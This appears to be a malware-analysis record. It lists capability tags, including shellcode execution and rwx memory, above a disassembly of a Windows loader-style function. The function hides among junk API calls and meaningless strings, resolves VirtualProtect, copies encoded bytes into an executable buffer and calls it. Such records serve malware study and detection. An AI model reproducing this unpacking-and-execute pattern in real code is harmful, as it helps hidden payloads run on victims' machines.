Function at 0x402bf4
Capabilities:
Allocate or change rwx memory
Create directory
Execute shellcode via indirect call
Identify system language via api
Set file attributes

Disassembly:
sub esp, 0x4f4
push ebx
push ebp
push esi
xor ebp, ebp
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, ebp
push ebp
call edi
cmp esi, 0x207138
jg 0x402c1c
inc esi
cmp esi, 0x4f672
jl 0x402c08
mov ecx, dword [0x67d744]
cmp ecx, 0x93
jne 0x402c83
push ebp
push ebp
call dword [sym.imp.USER32.dll_LoadMenuW]
xor eax, eax
lock bts dword [eax], 0
push ebp
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push ebp
push ebp
push ebp
push dword [esp + 0x1c]
push ebp
call dword [sym.imp.KERNEL32.dll_QueryInformationJobObject]
push ebp
call fcn.00404f04
push ebp
call fcn.00405d44
push ebp
call fcn.00404f04
add esp, 0xc
lea ecx, [esp + 0x54]
push 1
push 3
call fcn.00401546
lea ecx, [esp + 0x54]
call fcn.00401bb3
mov ecx, dword [0x67d744]
mov eax, dword [0x4469d8]
add ecx, 0x1134b
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x41a258
mov dword [0x67d74c], eax
mov dword [0x67d744], ecx
call ebx
push str.VirtualProtect
push eax
mov dword [0x67d75c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x67d744]
mov dword [0x67d73c], eax
push ebp
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x10]
mov dword [0x67d748], eax
push ecx
push 0x40
push dword [0x67d744]
push eax
call dword [0x67d73c]
mov esi, 0x14b002e
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec esi
jne 0x402ce7
mov edx, dword [0x67d744]
mov esi, ebp
test edx, edx
je 0x402d97
mov eax, dword [0x67d74c]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x67d748]
mov byte [eax + esi], cl
mov edx, dword [0x67d744]
cmp edx, 0x490
jne 0x402d8e
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push str.binavonowuguzurotemizatijerer_pocoxufucehagaheguv_duwejalabikabinov_dawajewehozajemedacelof_xeririmigecaperemoju
lea eax, [esp + 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebp
push ebp
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebp
push ebp
push ebp
call dword [sym.imp.GDI32.dll_GdiComment]
push ebp
call dword [sym.imp.GDI32.dll_DeleteMetaFile]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push ebp
push str.faricasireleviwiledonil
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push str.kokogenaguwipabevupic
call ebx
mov edx, dword [0x67d744]
inc esi
cmp esi, edx
jb 0x402d06
mov esi, ebp
lea eax, [edx + esi]
cmp eax, 0x8d
jne 0x402dce
push ebp
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll__lopen]
push ebp
push ebp
push str.poredameveyi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
mov edx, dword [0x67d744]
inc esi
cmp esi, 0x38681
jl 0x402d99
mov ecx, dword [0x67d748]
push 0x446910
call fcn.00403a59
mov esi, ebp
push ebp
call edi
cmp esi, 0x62
jne 0x402dfb
mov ecx, 0x67d748
call fcn.00402bcd
inc esi
cmp esi, 0x674db
jl 0x402de9
push 0x7b
pop esi
cmp dword [0x67d744], 0x86
jne 0x402e9e
xor eax, eax
lea edi, [esp + 0x1a]
mov word [esp + 0x18], ax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [esp + 0x28], ax
lea edi, [esp + 0x2a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
push ebp
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x38]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
push ebp
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
push ebp
push ebp
call dword [sym.imp.ADVAPI32.dll_BackupEventLogW]
push ebp
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.ADVAPI32.dll_AddAce]
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
cmp dword [0x67d744], 0xf
jne 0x402eb0
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_OpenEventA]
dec esi
jne 0x402e07
push str.msimg32.dll
call ebx
mov eax, dword [0x67d748]
mov dword [0x67d750], eax
call eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4f4
ret